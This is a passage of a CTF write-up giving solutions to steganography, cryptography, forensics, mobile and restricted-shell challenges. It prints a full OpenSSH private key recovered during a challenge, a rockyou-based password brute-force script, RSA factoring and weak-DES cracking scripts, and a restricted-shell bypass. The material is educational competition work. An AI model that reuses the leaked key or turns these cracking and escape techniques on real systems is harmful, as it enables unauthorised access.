```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:
***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:
**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:
**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:
**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:
these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:
After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):
**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Tuｒｎs out the sｔｅganｏgrａｐhⅰc tｅcｈｎｉｑuｅ ｗe wｅｒｅ
ｕsiｎg dⅰｄｎ'ｔ rｅalｌy mａｋe
mｕcｈ ｓense.．. ｂｕｔ we ｋｅpｔ it aｎyｗａy． Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:
**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:
but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:
during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:
**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:
this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:
bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:
***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :
furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:
but if we look at a regular PNG file or Zip file we get the following bytes frequency:
we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:
**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:
it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:
## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:
we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:
now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:
I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:
and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:
## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:
**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:
it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:
## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:
this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:
**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:
so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:
after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:
and the file contains our flag:
## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:
## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:
## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...
...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:
## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:
seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):
## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:
I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:
